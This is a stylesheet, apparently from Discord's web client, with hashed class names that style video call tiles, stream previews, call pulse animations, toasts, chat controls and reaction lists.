@keyframes cross-AT1Amb { 
  0% { background-position: 0px center; }
  40% { background-position: -600px center; }
  100% { background-position: -600px center; }
}

.outer-s4sY2_ { position: relative; }

.inner-2O5YO7 { position: absolute; inset: 0px; }

.wrapper-1wyZBN { position: relative; overflow: hidden; background-color: rgb(0, 0, 0); }

.video-1kutKI, .wrapper-1wyZBN { width: 100%; height: 100%; }

.video-1kutKI { position: absolute; inset: 0px; }

.videoCover-LdeT1c, .videoCover-LdeT1c video { object-fit: cover; }

.videoContain-2ih_gc, .videoContain-2ih_gc video { object-fit: contain; }

.mirror-1Z13AJ { transform: scaleX(-1); }

.previewWrapper-39cUHY { display: flex; align-content: center; opacity: 0; transition: opacity 0.5s ease 0s; }

.previewWrapper-39cUHY.loading-35BNuU { opacity: 1; }

.previewImage-1yEFD0 { width: 100%; object-fit: contain; filter: blur(10px); }

.emptyPreviewWrapper-14RNSK { margin: auto; width: 100%; }

.emptyPreview-2kuSNe { width: 100%; height: 100%; background: linear-gradient(120deg, rgb(30, 31, 34), rgb(41, 43, 47)); opacity: 0.6; }

.spinner-2UBgbJ { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }

.container-1Uz9wr { position: relative; }

.container-1Uz9wr, .iframe-EFVR4F { width: 100%; height: 100%; }

.clickShield-3vjrWO, .splashImage-E7s7bn { position: absolute; inset: 0px; }

.splashImage-E7s7bn { width: 100%; height: 100%; object-fit: cover; }

.splash-25tRrM { position: absolute; inset: 0px; background: rgba(0, 0, 0, 0.6); -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.avatars-1oXtqj, .splash-25tRrM { display: flex; }

.avatars-1oXtqj { margin-bottom: 16px; }

.avatars-1oXtqj.compact-1mV4qT { margin-bottom: 8px; }

.avatar-1r2LXI { margin-left: -20px; }

.avatar-1r2LXI.compact-1mV4qT { margin-left: -8px; }

.avatar-1r2LXI:first-child { margin-left: 0px; }

.subheader-39JmuR { margin-bottom: 4px; color: rgb(185, 187, 190); }

.header-NBw-bG { margin-bottom: 16px; font-weight: 700; color: rgb(255, 255, 255); }

.header-NBw-bG.compact-1mV4qT { margin-bottom: 8px; }

.buttons-2XvbOc { display: flex; }

.button-EVMg5r { margin: 0px 4px; }

.overflow-1fucsB { background-color: var(--background-primary); border-radius: 50%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; font-weight: 700; }

.avatarMask-CQKE6y { -webkit-mask-image: url("https://discord.com/assets/bdfdb44edfec770fb4e448cbbebfe922.svg"); -webkit-mask-position: 0px 0px; -webkit-mask-size: 100% 100%; -webkit-mask-repeat: no-repeat; }

.spinner-2MTdHP { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }

.root-1i3NKH { position: relative; }

.image-1npAv8 { width: 100%; height: 100%; object-fit: contain; }

.emptyPreviewContainer-1KOcxV { position: absolute; inset: 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.emptyPreviewImage-IBznSI { width: 80%; height: 60%; background-position: 50% center; background-repeat: no-repeat; margin-bottom: 10px; }

.emptyPreviewText-2IOfAL { color: var(--header-secondary); }

.theme-light .emptyPreviewImage-IBznSI { background-image: url("https://discord.com/assets/ee9dc7a136bd13d79c5c995d36a255d5.svg"); }

.theme-dark .emptyPreviewImage-IBznSI { background-image: url("https://discord.com/assets/66b66e8ee672e7d5c3edd7d139efe166.svg"); }

.qualityIndicator-mk1mca { -webkit-box-align: center; align-items: center; }

.qualityIndicator-mk1mca, .qualityIndicatorHighlightWrapper-1Rsm_M { display: flex; }

.qualityIndicatorHighlightWrapper-1Rsm_M { border-radius: 16px; padding: 4px; background-color: rgb(116, 127, 141); }

.clickable-2Q9Vaa { cursor: pointer; }

.qualityIndicatorFullQuality-39Z_0H { color: rgb(255, 255, 255); }

.qualityIndicatorLowQuality-3VS_Sh { color: rgb(185, 187, 190); }

.premiumStreamIcon-2oV917 { color: rgb(255, 255, 255); height: 14px; width: 14px; margin-right: 4px; }

.premiumStreamIconLarge-2awYaO { color: rgb(255, 255, 255); height: 16px; width: 16px; margin-right: 4px; }

.qualityResolution-2-unm0 { margin-right: 4px; }

.streamQualityIndicator-2Te7mW { display: flex; overflow: hidden; -webkit-box-align: center; align-items: center; }

.streamGiftingPopout-1f5J0k { width: 280px; background-color: var(--brand-experiment); border-radius: 8px; padding: 16px 16px 12px; margin-top: 6px; position: relative; }

.streamGiftingPopout-1f5J0k::after { content: ""; position: absolute; bottom: 100%; left: 50%; margin-top: 6px; margin-left: -8px; border-top: 8px solid transparent; border-right: 8px solid transparent; border-left: 8px solid transparent; border-image: initial; border-bottom: 8px solid var(--brand-experiment); }

.streamGiftingPopoutHeader-3l_nnC { -webkit-box-align: center; align-items: center; }

.streamGiftingPopoutCTA-3UYKGX, .streamGiftingPopoutHeader-3l_nnC { display: flex; -webkit-box-pack: center; justify-content: center; }

.streamGiftingPopoutCTA-3UYKGX { margin-top: 16px; }

.streamGiftingPopoutButton-3vbrL8 { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.streamGiftingPopoutButtonText-1BhH_O { color: var(--brand-experiment); }

.streamGiftingPopoutText-1a4kl- { text-align: center; margin-top: 4px; }

.liveIndicator-3FNmiB { position: relative; overflow: hidden; }

.liveQualityIndicator-3XCjEU { margin-right: 2px; }

.giftIcon-39s6Dy, .giftIconBrand-2-9sHX { width: 16px; height: 16px; }

.giftIcon-39s6Dy { color: rgb(255, 255, 255); margin-right: 4px; margin-left: 4px; }

.giftIconBrand-2-9sHX { color: var(--brand-experiment); margin-right: 4px; }

.giftButton-2tw3UA { display: flex; -webkit-box-align: center; align-items: center; }

.cta-3gK0Pu { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); border-radius: 100px; padding: 10px 16px; font-weight: 600; z-index: 1; }

.cta-3gK0Pu:hover { background-color: rgb(54, 57, 63); }

.cta-3gK0Pu.small-2mxRNR { padding: 7px 16px; }

.buttonReset-HK81Ef { line-height: 0; }

.root-35ow7p { line-height: 0; }

.warningIcon-3rQ5yJ { width: 20px; height: 20px; color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

@-webkit-keyframes outgoing-call-pulse-3okVYE { 
  0% { opacity: 0; transform: scaleX(1); }
  11.56% { opacity: 1; }
  39.02% { opacity: 0; transform: scale3d(1.025, 1.025, 1); }
  39.03% { transform: scaleX(1); }
  39.04% { opacity: 1; }
  66.48% { opacity: 0; transform: scale3d(1.025, 1.025, 1); }
  100% { opacity: 0; transform: scaleX(1); }
}

@keyframes outgoing-call-pulse-3okVYE { 
  0% { opacity: 0; transform: scaleX(1); }
  11.56% { opacity: 1; }
  39.02% { opacity: 0; transform: scale3d(1.025, 1.025, 1); }
  39.03% { transform: scaleX(1); }
  39.04% { opacity: 1; }
  66.48% { opacity: 0; transform: scale3d(1.025, 1.025, 1); }
  100% { opacity: 0; transform: scaleX(1); }
}

.wrapper-3BZGuR { display: flex; position: relative; }

.wrapper-3BZGuR.ringing-1VKjFq { opacity: 0.3; }

.wrapper-3BZGuR.ringing-1VKjFq::after { content: ""; pointer-events: none; position: absolute; left: -3px; top: -3px; width: 100%; height: 100%; border-radius: 12px; background: transparent; border: 3px solid var(--interactive-active); animation: 2.5s ease-out 0s infinite normal none running outgoing-call-pulse-3okVYE; transform-origin: center center; }

.ripple-3OwEZ- { border-radius: 8px; position: absolute; inset: 0px; opacity: 0; animation: 2.429s ease-out 0s infinite normal none running outgoing-call-pulse-3okVYE; background-color: var(--interactive-active); }

.ripple0-1oHfER { animation-delay: 20ms; }

.ripple1-1tjFOe { animation-delay: 145ms; }

.ripple2-jei8DL { animation-delay: 0.27s; }

.tile-2gi3tr { display: flex; -webkit-box-flex: 1; flex: 1 1 100%; position: relative; cursor: pointer; }

.tile-2gi3tr.idle-U-LIlZ, .tile-2gi3tr.noInteraction-2pbsEq { cursor: inherit; }

.tileChild-31WXi8 { -webkit-box-flex: 1; flex: 1 1 100%; display: flex; }

.border-3dQmSY { position: absolute; inset: 0px; border-radius: 8px; pointer-events: none; }

.border-3dQmSY.speaking-WDn8Wm { box-shadow: inset 0 0 0 2px hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%),inset 0 0 0 3px #000; }

.app-focused .border-3dQmSY { transition: box-shadow 0.1s ease-out 0s, -webkit-box-shadow 0.1s ease-out 0s; }

.noBorder-i2e48Y video { border-radius: 0px; }

.noBorder-i2e48Y .border-3dQmSY { display: none; border-radius: 0px; }

.videoLayer-3hTtOT video { }

.overlay-1YJlCn { -webkit-box-pack: justify; justify-content: space-between; position: absolute; left: 0px; right: 0px; bottom: 8px; padding: 0px 8px; pointer-events: none; line-height: 0; transition: opacity 0.2s ease-in-out 0s; }

.overlay-1YJlCn, .overlayTitle-8IcS01 { display: flex; -webkit-box-align: center; align-items: center; }

.overlayTitle-8IcS01 { border-radius: 8px; background: rgba(0, 0, 0, 0.3); color: rgb(255, 255, 255); padding: 6px 12px; -webkit-box-flex: 0; flex: 0 1 auto; margin-right: 8px; min-width: 0px; }

.overlayTitle-8IcS01.idle-U-LIlZ { opacity: 0; }

.overlayTitleText-2mmQzi { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.titleIcon-2eloVh { width: 20px; height: 20px; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.statusContainer-1gtabC { -webkit-box-flex: 0; flex: 0 0 auto; display: flex; -webkit-box-align: center; align-items: center; }

.status-254fhp { width: 20px; height: 20px; padding: 6px; color: rgb(255, 255, 255); border-radius: 50%; margin-left: 8px; background-color: rgba(0, 0, 0, 0.3); }

.status-254fhp svg { width: 100%; height: 100%; }

.status-254fhp.interactive-3JkJV4 { pointer-events: all; }

.status-254fhp.interactive-3JkJV4:hover { background-color: rgba(0, 0, 0, 0.6); }

.content-2Sfaij { position: absolute; inset: 0px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; overflow: hidden; }

.streamPreview-3YL8OQ { background: rgb(32, 34, 37); }

.streamPreviewOpacity-1IYx2z { opacity: 0.15; }

.indicators-3zIm5K { top: 8px; right: 8px; }

.indicators-3zIm5K, .selectedScreen-3aLLjg { position: absolute; display: flex; -webkit-box-align: center; align-items: center; }

.selectedScreen-3aLLjg { background: rgba(0, 0, 0, 0.6); -webkit-box-pack: center; justify-content: center; inset: 0px; pointer-events: none; }

.toggleMute-1HX2aa { opacity: 1; transition: opacity 0.2s ease 0s; }

.hidden-3rERt0 { opacity: 0; }

.selectedIcon-1Ihli9 { width: 32px; height: 32px; color: rgb(255, 255, 255); }

.localMuteStrikethrough-2BNLRk { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.liveIndicator-3aBbkJ { margin-left: 8px; }

.addStreamIcon-3NjJEC { width: 24px; height: 24px; }

.addCTA-372N3j { padding: 8px; margin-left: 8px; }

.absoluteFill-145S64 { position: absolute; inset: 0px; }

.videoWrapper-2v09vt { background-color: rgb(32, 34, 37); }

.blocked-1Hjnsy { border-radius: 50%; width: 16px; height: 16px; background-color: rgb(255, 255, 255); margin-right: 4px; }

.blockedIcon-1l6uje { width: 12px; height: 12px; margin: 2px; }

.blockedAvatar-eQvJSd { opacity: 0.5; }

.small-31EPtb .status-254fhp { padding: 4px; margin-left: 4px; }

.small-31EPtb .addStreamIcon-3NjJEC, .small-31EPtb .status-254fhp { width: 16px; height: 16px; }

.container-1PWn_0 { position: absolute; inset: 0px; pointer-events: none; }

.tileContainer-9h8iFI { display: flex; }

.tile-1Qr-N3 { width: 160px; height: 90px; margin-right: 8px; }

.tile-1Qr-N3:last-child { margin-right: 0px; }

.container-2ny5_U { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-2ny5_U, .tiles-2aDaT9 { display: flex; -webkit-box-align: center; align-items: center; }

.tiles-2aDaT9 { margin-bottom: 20px; -webkit-box-pack: center; justify-content: center; flex-wrap: wrap; }

.tile-2Y-sZ8 { width: 160px; height: 90px; margin: 4px; }

.participantsRow-3fRK8X { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.facepile-3PeNZM { margin-right: 8px; }

.channelName-16mUrZ { font-weight: 700; margin: 8px 0px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.joinButton-2Oyfwj { margin-top: 24px; border-radius: 999px; }

.row-22hXsA { -webkit-box-pack: center; justify-content: center; }

.row-22hXsA, .tile-kezkfV { display: flex; }

.tile-kezkfV { margin-right: 8px; margin-bottom: 8px; -webkit-box-align: center; align-items: center; }

.tile-kezkfV.noVerticalMargin-1582Xa { margin-bottom: 0px; }

.tile-kezkfV.noHorizontalMargin-3pr3HN { margin-right: 0px; }

.tile-kezkfV.padColumn-18-JWZ { padding: 0px 2px; }

.tileSizer-IwF9xU { width: 100%; }

.root-2VTZPJ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; color: rgb(255, 255, 255); padding: 16px; }

.text-3FqTR4 { font-weight: 600; margin-bottom: 16px; text-align: center; }

.buttonText-plGAfz { padding: 0px 8px; }

.art-2kj97y { margin-bottom: 16px; }

.tile-ME82Od { height: 100%; }

.tile-G6pLxf { width: 100%; height: 100%; }

.tileSizer-1f7oIf { height: 112px; width: 195px; }

.tileSizer-1f7oIf:not(:first-child) { margin-left: 8px; }

.root-2vcZml { height: 112px; width: 100%; box-sizing: border-box; display: flex; -webkit-box-pack: center; justify-content: center; }

.voiceCallWrapper-3kPwHm { padding-bottom: 24px; }

.videoGridWrapper-2BDlMX { align-self: stretch; }

.root-2CDANf { width: 100%; height: 100%; position: relative; }

.flexCenter-2Y_vCg { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.videoFrame-3JeHRb { flex: 1 1 0%; }

.videoFrame-3JeHRb, .videoWrapper-3VC0Ax { -webkit-box-flex: 1; position: relative; }

.videoWrapper-3VC0Ax { flex: 1 1 100%; margin: 0px auto; }

.videoWrapperAnimated-3SL9U6 { position: absolute; inset: 0px; }

.videoGrid-1khsrF { height: 100%; }

.hiddenParticipants-1JaHxS p { margin: 0px; }

.videoSizer-14ILv0 { width: 100%; position: relative; }

.focusedVideo-AeFhkm { height: 100%; }

.participantsButton-2BYCUL { z-index: 1; position: absolute; top: 50%; right: 8px; transform: translateY(-50%); transition: opacity 0.2s ease-in-out 0s; }

.participantsButton-2BYCUL.idle-l3QaKF { opacity: 0; }

.participantsWrapperAnimated-3yISdv { overflow: hidden; flex-shrink: 0; height: 100%; display: flex; -webkit-box-align: center; align-items: center; position: absolute; right: -228px; top: 0px; }

.root-3hqpi0 { height: 100%; z-index: 0; }

.root-3hqpi0, .tileWrapper-2VjdQ9 { width: 100%; position: relative; }

.videoFrame-6vtdNq { -webkit-box-flex: 1; flex: 1 1 0%; position: relative; display: flex; -webkit-box-pack: center; justify-content: center; z-index: 1; }

.videoSizer-XVsK0P { width: 100%; position: relative; }

.actionRow-3l3BuE { display: flex; z-index: 10; position: absolute; left: 50%; bottom: -8px; transform: translateX(-50%) translateY(100%); transition: opacity 0.2s ease-in-out 0s; }

.actionRow-3l3BuE.idle-1YmSU5 { opacity: 0; }

.viewAllButton-21xtxQ { border-radius: 48px; background: rgb(47, 49, 54); padding: 4px 8px; margin-left: 8px; box-shadow: var(--elevation-high); }

.viewAllButton-21xtxQ:hover { background: rgb(32, 34, 37); }

.viewAllButtonInner-2F6nHR { display: flex; -webkit-box-align: center; align-items: center; white-space: nowrap; }

.buttonIcon-20vVIR { color: rgb(255, 255, 255); margin-right: 4px; }

.participantsWrapperAnimated-1vcag3 { overflow: hidden; flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; position: absolute; left: 8px; right: 8px; bottom: 0px; }

.tile-2GMyYQ { height: 100%; }

.tileSizer-3VCNFs { width: 220px; margin-bottom: 8px; }

.root-1EVRXA { width: 228px; -webkit-box-flex: 0; flex: 0 0 auto; max-height: 100%; box-sizing: border-box; display: flex; }

.list-2MscRb { height: auto; }

.buttonColor-2Nx30V { background-color: rgb(54, 57, 63); color: rgb(255, 255, 255); }

.buttonColor-2Nx30V:hover { background-color: rgba(79, 84, 92, 0.16); }

@media (max-width: 1000px) {
  .textButton-3MS7qa { display: none; }
}

@media (min-width: 1001px) {
  .iconButton-u_X73A { display: none; }
}

.toastWrapper-1RjBkf { position: absolute; right: 0px; width: 100%; -webkit-box-pack: end; justify-content: flex-end; }

.toast-3mSyca, .toastWrapper-1RjBkf { display: flex; }

.toast-3mSyca { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background: var(--background-tertiary); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; -webkit-box-flex: 1; flex-grow: 1; padding: 8px; box-sizing: border-box; border-radius: 4px; overflow: hidden; pointer-events: all; cursor: pointer; }

.toast-3mSyca:hover { background: var(--background-secondary); }

.toast-3mSyca.thin-1UrhMU { -webkit-box-flex: 0; flex-grow: 0; }

.header-1Qfaq0 { display: flex; -webkit-box-align: center; align-items: center; }

.avatar-HvHhK5 { border-radius: 100%; height: 16px; width: 16px; margin-right: 8px; }

.messageContentWrapper-1dGAle { display: flex; -webkit-box-align: center; align-items: center; }

.messageContent-2Qu8IL { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.messageContentIcon-1C-uxA { width: 20px; height: 20px; margin-left: 4px; }

.root-217Brm { height: 100%; width: 100%; position: relative; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: rgb(255, 255, 255); }

.root-217Brm.idle-1j3olu { cursor: none; }

.root-217Brm.idle-1j3olu .gradientContainer-10lXLB { opacity: 0; }

.root-217Brm.idle-1j3olu .topControls-KKImPZ { opacity: 0; transform: translate3d(0px, -8px, 0px); }

.root-217Brm.idle-1j3olu .bottomControls-lIJyYL { opacity: 0; transform: translate3d(0px, 8px, 0px); }

.root-217Brm.idle-1j3olu .chatButton-6Oz_z-:not(.chatButtonShowing-14wX0t) { opacity: 0; transform: translate3d(0px, -8px, 0px); }

.videoControls-24w7Xp { pointer-events: none; position: absolute; inset: 0px; padding: 0px 16px 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: justify; justify-content: space-between; }

.gradientContainer-10lXLB { pointer-events: none; height: 160px; transition: opacity 0.2s ease-in-out 0s; background-image: linear-gradient(rgb(0, 0, 0), rgba(0, 0, 0, 0.737) 19%, rgba(0, 0, 0, 0.54) 34%, rgba(0, 0, 0, 0.38) 47%, rgba(0, 0, 0, 0.28) 56.5%, rgba(0, 0, 0, 0.192) 65%, rgba(0, 0, 0, 0.125) 73%, rgba(0, 0, 0, 0.075) 80.2%, rgba(0, 0, 0, 0.043) 86.1%, rgba(0, 0, 0, 0.02) 91%, rgba(0, 0, 0, 0.008) 95.2%, rgba(0, 0, 0, 0.004) 98.2%, transparent); }

.gradientTop-3UWg3T { top: 0px; }

.gradientBottom-3X4SdK, .gradientTop-3UWg3T { position: absolute; right: 0px; left: 0px; }

.gradientBottom-3X4SdK { bottom: 0px; transform: scaleY(-1); }

.controlSection-2h3cS0 { pointer-events: all; transition: transform 0.2s ease-in-out 0s, opacity 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.bottomControls-lIJyYL, .topControls-KKImPZ { width: 100%; -webkit-box-flex: 0; flex: 0 1 auto; transform: translateZ(0px); }

.bottomControls-lIJyYL { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; line-height: 0; }

.screenMessage-2smdgi { background-color: rgba(0, 0, 0, 0.6); position: absolute; inset: 0px; }

.title-1gVSym { font-size: 24px; }

.supportingText-Q8rmAI, .title-1gVSym { text-align: center; font-weight: 500; line-height: 1.25; }

.supportingText-Q8rmAI { font-size: 16px; }

.chatButton-6Oz_z- { position: absolute; top: 12px; right: 16px; opacity: 1; transition: transform 0.2s ease-in-out 0s, opacity 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.chatButton-6Oz_z-.chatOpen-UOSi76 { opacity: 0; pointer-events: none; }

.theme-dark .title-1gVSym, .theme-light .title-1gVSym { color: rgb(255, 255, 255); }

.theme-dark .supportingText-Q8rmAI, .theme-light .supportingText-Q8rmAI { color: rgb(185, 187, 190); }

.arrow-3OIjPY { transition: transform 0.2s ease-in-out 0s, -webkit-transform 0.2s ease-in-out 0s; }

.up-34qlJU { transform: rotate(180deg); }

.chatIcon-1psYXa { position: relative; }

.unreadCount-3pS4hO { position: absolute; bottom: -4px; left: 11px; height: 20px; min-width: 20px; width: auto; padding: 0px 4px; border-radius: 999px; background: var(--interactive-normal); border: 2px solid rgb(0, 0, 0); color: rgb(0, 0, 0); font-weight: 600; box-sizing: border-box; }

.mention-2xkB_L { background: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.chatIcon-1psYXa:hover .unreadCount-3pS4hO { background: rgb(255, 255, 255); }

.chatIcon-1psYXa:hover .unreadCount-3pS4hO.mention-2xkB_L { background: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); }

.subHeader-27gFHC { font-weight: 700; font-size: 12px; text-transform: uppercase; }

.preview-yX6Nx7 { border: 1px solid; pointer-events: none; }

.textArea-1ZhGKi { }

.theme-dark .subHeader-27gFHC { color: rgb(114, 118, 125); }

.theme-dark .preview-yX6Nx7 { border-color: rgb(32, 34, 37); }

.theme-light .subHeader-27gFHC { color: rgb(114, 118, 125); }

.theme-light .preview-yX6Nx7 { border-color: rgb(220, 221, 222); }

.menu-1NyPgn { min-width: 200px; max-width: none; }

.optionLabel-gOA3fK { display: flex; -webkit-box-align: center; align-items: center; width: min-content; font-size: 12px; }

.optionIcon-1HDcpY { width: 24px; height: 24px; }

.optionName-uM5yH- { margin-left: 8px; }

.tipSubtext-10zY2N { -webkit-box-align: center; align-items: center; display: flex; }

.tipIcon-1pF2H_ { margin: 0px 4px; }

.attachWrapper-2TRKBi { position: sticky; -webkit-box-flex: 0; flex: 0 0 auto; align-self: stretch; }

.attachButton-2WznTc { height: 44px; padding: 10px 16px; position: sticky; top: 0px; }

.attachButtonInner-PQjIyk { height: 24px; }

.attachButtonPlus-jWVFah { transform-origin: 50% 50%; width: 24px; height: 24px; fill: var(--interactive-normal); }

.attachButton-2WznTc:hover .attachButtonPlus-jWVFah { fill: var(--interactive-hover); }

.attachButtonPlay-3iJ0mf { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.attachPopout-36hjtN { border-radius: 8px; min-width: 200px; padding: 8px; font-size: 0.75rem; font-weight: 500; background-color: var(--background-floating); box-shadow: var(--elevation-high); }

.attachPopoutRow-3iqqu1 { display: flex; -webkit-box-align: center; align-items: center; padding: 8px; cursor: pointer; border-radius: 3px; transition: background-color 0.2s ease 0s; color: var(--interactive-normal); }

.attachPopoutRow-3iqqu1:hover { color: var(--interactive-hover); background-color: var(--background-modifier-hover); }

.attachPopoutRowText-2R5RC2 { margin-left: 8px; }

.attachPopoutIcon-1QXhWW { width: 24px; height: 24px; }

.uploadInput-1XtQef { position: relative; width: 0px; height: 0px; pointer-events: none; }

.spamBanner-F4eeXk { display: flex; -webkit-box-pack: justify; justify-content: space-between; flex-wrap: wrap; background: var(--background-tertiary); padding: 0px 8px 8px; margin: 0px 16px 16px; box-shadow: 0 8px 16px var(--elevation-high); border-radius: 5px; }

.tooltip-3QZV2_ { text-align: center; max-width: 165px; }

.bannerTextContainer-XQ8tOX { flex-wrap: nowrap; flex: 5 2 0%; min-width: 350px; margin: 8px; }

.bannerText-2JTuEw, .bannerTextContainer-XQ8tOX { display: flex; -webkit-box-flex: 5; }

.bannerText-2JTuEw { margin: auto 0px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-flow: column wrap; flex: 5 2 auto; }

.bannerIcon-fX0iBD { margin-right: 1rem; width: 45px; height: 45px; }

.bannerHeader-2NFPFF { font-size: 16px; font-weight: 600; margin-bottom: 4px; color: var(--header-primary); }

.bannerSubtext--fxeI2 { font-size: 14px; color: var(--text-normal); }

.actionButtons-13eVg9 { margin: 8px; display: flex; -webkit-box-flex: 2; flex: 2 1 0%; -webkit-box-pack: end; justify-content: flex-end; -webkit-box-align: center; align-items: center; }

.smallButton-3_YndH { margin-left: 0.5rem; }

.largeButton-2H5ywR { margin-left: 16px; }

.container-3xeWHc { position: absolute; bottom: 84px; background-color: var(--background-floating); border-radius: 8px; margin-left: 16px; padding: 16px; box-shadow: var(--elevation-high),var(--elevation-stroke); display: flex; -webkit-box-align: start; align-items: flex-start; max-width: 408px; }

.iconContainer-3eYW51 { background-color: var(--background-primary); padding: 8px; border-radius: 8px; }

.icon-110tQy { box-sizing: border-box; }

.header-1NdUcC { margin-left: 16px; }

.headerText-31bQVs { margin-bottom: 4px; }

.button-3YYgAY { margin-top: 16px; }

.bannerIcon-3xvIH- { margin-right: 1rem; width: 24px; height: 24px; align-self: center; }

.bannerHeader-1yA8D2 { line-height: 20px; margin-bottom: 0px; }

.wrapper-1F5TKx { box-sizing: border-box; position: relative; overflow-wrap: break-word; user-select: text; -webkit-box-flex: 0; flex: 0 0 auto; padding-right: 1rem; background-color: var(--background-primary); contain: layout paint; overflow: hidden; }

.compact-3Dy1Ya.wrapper-1F5TKx { padding-top: 0.125rem; padding-bottom: 0.125rem; }

.cozy-12kSNU.wrapper-1F5TKx { padding-left: 4.5rem; }

.a11y-font-scaled-up .cozy-12kSNU.wrapper-1F5TKx { padding-left: 72px; }

.compact-3Dy1Ya .contents-1R-xLu { display: flex; height: 1.375rem; overflow: hidden; flex-wrap: wrap; padding-left: 5rem; }

.compact-3Dy1Ya .contents-1R-xLu .content-2LZomT { display: contents; }

.cozy-12kSNU .content-2LZomT { display: flex; -webkit-box-align: center; align-items: center; height: 1.375rem; overflow: hidden; flex-wrap: wrap; text-indent: 0px; }

.compact-3Dy1Ya .content-2LZomT { user-select: text; display: inline; }

.blob-2w7iIK { -webkit-box-flex: 0; flex: 0 0 auto; height: 1rem; line-height: 1.375rem; vertical-align: middle; margin-top: 0.1875rem; }

.cozy-12kSNU .blob-2w7iIK { display: block; }

.hidden-3F3FRy { visibility: hidden; }

.compact-3Dy1Ya .blob-2w7iIK { display: inline-block; }

.cozy-12kSNU .header-1oLBbW { position: relative; display: flex; -webkit-box-align: center; align-items: center; height: 1.375rem; overflow: hidden; flex-wrap: wrap; line-height: 1.375rem; }

.compact-3Dy1Ya .header-1oLBbW { margin-right: 0.5rem; }

.attachmentContainer-2BK1nK { padding-top: 0.125rem; padding-bottom: 0.125rem; }

.compact-3Dy1Ya .attachmentContainer-2BK1nK { margin-top: 0.25rem; }

.attachment-2p5mHK { margin-top: 0.125rem; height: 120px; width: 240px; }

.compact-3Dy1Ya .attachment-2p5mHK { margin-left: 5rem; }

.blob-2w7iIK + .blob-2w7iIK { margin-left: 0.25rem; }

.header-1oLBbW .blob-2w7iIK + .blob-2w7iIK { margin-left: 0.5rem; }

.blob-2w7iIK { border-radius: 0.5rem; }

.attachment-2p5mHK { border-radius: 6px; }

.attachment-2p5mHK, .avatar-2daVqv, .blob-2w7iIK { background-color: var(--text-normal); }

.avatar-2daVqv { position: absolute; left: 1rem; top: 0.25rem; width: 2.5rem; height: 2.5rem; max-width: 40px; max-height: 40px; border-radius: 50%; -webkit-box-flex: 0; flex: 0 0 auto; }

.a11y-font-scaled-up .avatar-2daVqv { left: 16px; top: 4px; }

.compactTimestamp-1eheHm { margin-left: -4rem; margin-right: 0.25rem; }

.wrapper-3vR61M { background-color: var(--background-primary); contain: strict; overflow: hidden; }

.pro-1T8RK7 { text-transform: uppercase; }

.tip-2ab612 { line-height: 16px; opacity: 0.6; }

.block-2RXqH9 .pro-1T8RK7, .block-2RXqH9 .tip-2ab612, .tip-2ab612 { font-size: 14px; }

.inline-136HKr .pro-1T8RK7, .inline-136HKr .tip-2ab612 { font-size: 12px; display: inline; }

.inline-136HKr .pro-1T8RK7 { margin-right: 3px; }

.wrapper-3_530D { display: grid; grid-template-columns: repeat(4, 1fr); grid-template-rows: 1fr; justify-items: center; padding: 4px 0px 6px 2px; }

.button-F9qN4n, .wrapper-3_530D { -webkit-box-align: center; align-items: center; }

.button-F9qN4n { display: flex; -webkit-box-pack: center; justify-content: center; width: 32px; height: 32px; padding: 4px; -webkit-box-flex: 0; flex: 0 0 auto; cursor: pointer; border-radius: 50%; background-color: var(--background-tertiary); }

.button-F9qN4n:hover, .keyboard-mode .button-F9qN4n.focused-3ZzkKr { background-color: var(--background-secondary-alt); }

.keyboard-mode .button-F9qN4n.focused-3ZzkKr { box-shadow: 0 0 0 2px var(--focus-primary); }

.icon-QGKz8T { width: 20px; height: 20px; display: block; object-fit: contain; }

.container-1If-HZ { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; overflow: hidden; width: 500px; height: 440px; }

.container-1If-HZ, .scroller-1-nKid { -webkit-box-flex: 0; flex: 0 0 auto; }

.scroller-1-nKid { padding: 8px; width: 90px; }

.reactors-Blmlhw { -webkit-box-flex: 0; flex: 0 0 auto; width: 410px; }

.reactionDefault-GBA58K, .reactionSelected-1pqISm { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; margin-bottom: 1px; border-radius: 2px; padding: 0px 4px; overflow: hidden; }

.reactionDefault-GBA58K { cursor: pointer; }

